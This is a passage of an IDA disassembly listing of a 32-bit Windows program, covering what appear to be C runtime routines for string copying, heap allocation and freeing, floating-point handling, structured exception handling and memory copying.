loc_415D98:				; CODE XREF: sub_415D7F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_415D98
		pop	esi
		retn
sub_415D7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DA9	proc near		; CODE XREF: sub_403178+220p
					; seg000:0040348Cp ...

arg_0		= dword	ptr  4

		push	ds:dword_4694C4
		push	[esp+4+arg_0]
		call	sub_415DBB
		pop	ecx
		pop	ecx
		retn
sub_415DA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DBB	proc near		; CODE XREF: sub_415DA9+Ap
					; sub_4167A5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_415DE4


loc_415DC2:				; CODE XREF: sub_415DBB+27j
		push	[esp+arg_0]
		call	sub_415DE7
		test	eax, eax
		pop	ecx
		jnz	short locret_415DE6
		cmp	[esp+arg_4], eax
		jz	short locret_415DE6
		push	[esp+arg_0]
		call	sub_418A48
		test	eax, eax
		pop	ecx
		jnz	short loc_415DC2


loc_415DE4:				; CODE XREF: sub_415DBB+5j
		xor	eax, eax

locret_415DE6:				; CODE XREF: sub_415DBB+13j
					; sub_415DBB+19j
		retn
sub_415DBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DE7	proc near		; CODE XREF: sub_415DBB+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, ds:dword_437F5C
		ja	short loc_415DFF
		push	esi
		call	sub_418E33
		test	eax, eax
		pop	ecx
		jnz	short loc_415E1B


loc_415DFF:				; CODE XREF: sub_415DE7+Bj
		test	esi, esi
		jnz	short loc_415E06
		push	1
		pop	esi


loc_415E06:				; CODE XREF: sub_415DE7+1Aj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_42114C


loc_415E1B:				; CODE XREF: sub_415DE7+16j
		pop	esi
		retn
sub_415DE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E1D	proc near		; CODE XREF: seg000:004034E1p
					; seg000:0040350Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_415E4A
		push	esi
		call	sub_418ADD
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_415E3C
		push	eax
		call	sub_418B08
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E3C:				; CODE XREF: sub_415E1D+13j
		push	0
		push	ds:dword_46AAC0
		call	ds:dword_421150


loc_415E4A:				; CODE XREF: sub_415E1D+7j
		pop	esi
		retn
sub_415E1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415E4C(double)

sub_415E4C	proc near		; CODE XREF: sub_40465E+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D00
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_415ED2
		call	sub_419CCE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415EB5
		cmp	eax, 2
		jle	short loc_415EA7
		cmp	eax, 3
		jnz	short loc_415EB5
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4195DE
		add	esp, 10h
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EA7:				; CODE XREF: sub_415E4C+3Fj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EB5:				; CODE XREF: sub_415E4C+3Aj
					; sub_415E4C+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_415F0F
; ---------------------------------------------------------------------------


loc_415ED2:				; CODE XREF: sub_415E4C+2Fj
		call	sub_419C93
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_415EF5


loc_415EE7:				; CODE XREF: sub_415E4C+ACj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_415F17
; ---------------------------------------------------------------------------


loc_415EF5:				; CODE XREF: sub_415E4C+99j
		test	bl, 20h
		jnz	short loc_415EE7
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_415F0F:				; CODE XREF: sub_415E4C+84j
		call	sub_419631
		add	esp, 1Ch


loc_415F17:				; CODE XREF: sub_415E4C+59j
					; sub_415E4C+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415E4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F1B	proc near		; CODE XREF: seg000:004177E3p
					; DATA XREF: seg002:off_437D0Co
		call	sub_415F33
		call	sub_419ECF
		mov	ds:dword_469444, eax
		call	sub_419E7F
		fnclex
		retn
sub_415F1B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_415F33	proc near		; CODE XREF: sub_415F1Bp
		mov	eax, offset sub_41A2BD
		mov	ds:off_43807C, offset loc_419F52
		mov	ds:off_438078, eax
		mov	ds:off_438080, offset sub_419FB8
		mov	ds:off_438084, offset sub_419EF8
		mov	ds:off_438088, offset loc_419FA0
		mov	ds:off_43808C, eax
		retn
sub_415F33	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F6C	proc near		; CODE XREF: sub_40465E+1Bp
					; sub_40465E+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_415F6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_415F93(double)

sub_415F93	proc near		; CODE XREF: sub_4046AA+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_437D18
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_416019
		call	sub_419CCE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415FFC
		cmp	eax, 2
		jle	short loc_415FEE
		cmp	eax, 3
		jnz	short loc_415FFC
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4195DE
		add	esp, 10h
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FEE:				; CODE XREF: sub_415F93+3Fj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_415FFC:				; CODE XREF: sub_415F93+3Aj
					; sub_415F93+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_421670
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_416056
; ---------------------------------------------------------------------------


loc_416019:				; CODE XREF: sub_415F93+2Fj
		call	sub_419C93
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41603C


loc_41602E:				; CODE XREF: sub_415F93+ACj
		push	esi
		push	ebx
		call	sub_419E06
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41605E
; ---------------------------------------------------------------------------


loc_41603C:				; CODE XREF: sub_415F93+99j
		test	bl, 20h
		jnz	short loc_41602E
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_416056:				; CODE XREF: sub_415F93+84j
		call	sub_419631
		add	esp, 1Ch


loc_41605E:				; CODE XREF: sub_415F93+59j
					; sub_415F93+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_415F93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416062	proc near		; CODE XREF: sub_41A72E+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_416062	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_416096	proc near		; CODE XREF: sub_41A8DF+199p
					; sub_41AAA3+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_416096	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41609D	proc near		; CODE XREF: sub_41A8DF+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41609D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4160A4	proc near		; CODE XREF: sub_416256+5Cp
					; sub_41A72E:loc_41A75Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_4160CC
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_4200EC


loc_4160CC:				; DATA XREF: sub_4160A4+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4160A4	endp

; ---------------------------------------------------------------------------


loc_4160F3:				; CODE XREF: seg000:00420248j
					; seg000:00420265j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41A333
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416129	proc near		; CODE XREF: sub_41A7A9+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41617D
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41AB30
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_416129	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41617D	proc near		; DATA XREF: sub_416129+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A333
		add	esp, 20h
		pop	ebp
		retn
sub_41617D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161A2	proc near		; CODE XREF: sub_41A575+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_416256
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_416228
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4694E4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_416228:				; DATA XREF: sub_4161A2+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_416245
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41624E
; ---------------------------------------------------------------------------


loc_416245:				; CODE XREF: sub_4161A2+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41624E:				; CODE XREF: sub_4161A2+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4161A2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416256	proc near		; DATA XREF: sub_4161A2+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_416279
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_4162C6
; ---------------------------------------------------------------------------


loc_416279:				; CODE XREF: sub_416256+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41A333
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_4162B7
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4160A4


loc_4162B7:				; CODE XREF: sub_416256+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_4162C6:				; CODE XREF: sub_416256+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416256	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162CB	proc near		; CODE XREF: sub_41A3CE+C6p
					; sub_41A575+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_416322


loc_4162E9:				; CODE XREF: sub_4162CB+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4162F3
		call	sub_41ABD2


loc_4162F3:				; CODE XREF: sub_4162CB+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_416308
		cmp	ecx, [eax+8]
		jle	short loc_41630D


loc_416308:				; CODE XREF: sub_4162CB+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_416319


loc_41630D:				; CODE XREF: sub_4162CB+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_416319:				; CODE XREF: sub_4162CB+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_4162E9
		mov	eax, [ebp+var_4]


loc_416322:				; CODE XREF: sub_4162CB+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_416336
		cmp	esi, eax
		jbe	short loc_41633B


loc_416336:				; CODE XREF: sub_4162CB+65j
		call	sub_41ABD2


loc_41633B:				; CODE XREF: sub_4162CB+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_4162CB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416348	proc near		; CODE XREF: sub_41CDE8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_416360
		push	[ebp+arg_0]
		call	sub_4200EC


loc_416360:				; DATA XREF: sub_416348+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_416348	endp


; =============== S U B	R O U T	I N E =======================================



sub_416368	proc near		; DATA XREF: sub_41638A+Ao
					; sub_4163F2+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_416389
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_416389:				; CODE XREF: sub_416368+10j
		retn
sub_416368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41638A	proc near		; CODE XREF: sub_41A84F+Dp
					; sub_41CDE8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_416368
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4163A7:				; CODE XREF: sub_41638A:loc_4163E2j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4163E4
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4163E4
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4163E2
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41641E
		call	dword ptr [ebx+esi*4+8]


loc_4163E2:				; CODE XREF: sub_41638A+44j
		jmp	short loc_4163A7
; ---------------------------------------------------------------------------


loc_4163E4:				; CODE XREF: sub_41638A+2Aj
					; sub_41638A+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41638A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163F2	proc near		; CODE XREF: sub_41A86F+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_416368
		jnz	short locret_416414
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_416414
		mov	eax, 1

locret_416414:				; CODE XREF: sub_4163F2+10j
					; sub_4163F2+1Bj
		retn
sub_4163F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416415	proc near		; CODE XREF: sub_41AB30+1Ep
					; sub_41AB30+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D1C
		jmp	short loc_416428
sub_416415	endp


; =============== S U B	R O U T	I N E =======================================



sub_41641E	proc near		; CODE XREF: sub_41638A+4Fp
					; sub_41CDE8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_437D1C
		mov	ecx, [ebp+8]


loc_416428:				; CODE XREF: sub_416415+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41641E	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_416438	proc near		; CODE XREF: sub_4046AA+5p
					; sub_40484C+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416438	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416457	proc near		; CODE XREF: sub_404D21+26p
					; seg000:0041FEC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_415E1D
		pop	ecx
		retn
sub_416457	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416470	proc near		; CODE XREF: sub_404D92+3Ap
					; sub_418B08+2EEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_416490
		cmp	edi, eax
		jb	loc_416608


loc_416490:				; CODE XREF: sub_416470+16j
		test	edi, 3
		jnz	short loc_4164AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------


loc_4164AC:				; CODE XREF: sub_416470+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4164C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_4164CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4164C4:				; CODE XREF: sub_416470+46j
		jmp	dword ptr ds:loc_4165C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4164CC:				; CODE XREF: sub_416470+31j
					; sub_416470+8Ej ...
		jmp	ds:off_41654C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4164E0
		dd offset loc_41650C
		dd offset loc_416530
; ---------------------------------------------------------------------------


loc_4164E0:				; DATA XREF: sub_416470+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41650C:				; DATA XREF: sub_416470+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_416530:				; DATA XREF: sub_416470+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4164CC
		rep movsd
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41654C	dd offset loc_4165AF	; DATA XREF: sub_416470:loc_4164CCr
		dd offset loc_41659C
		dd offset loc_416594
		dd offset loc_41658C
		dd offset loc_416584
		dd offset loc_41657C
		dd offset loc_416574
		dd offset loc_41656C
; ---------------------------------------------------------------------------


loc_41656C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_416574:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41657C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_416584:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41658C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_416594:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41659C:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4165AF:				; CODE XREF: sub_416470:loc_4164CCj
					; DATA XREF: sub_416470:off_41654Co
		jmp	ds:off_4165B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4165B8	dd offset loc_4165C8	; DATA XREF: sub_416470+35r
					; sub_416470+92r ...
		dd offset loc_4165D0
		dd offset loc_4165DC
		dd offset loc_4165F0
; ---------------------------------------------------------------------------


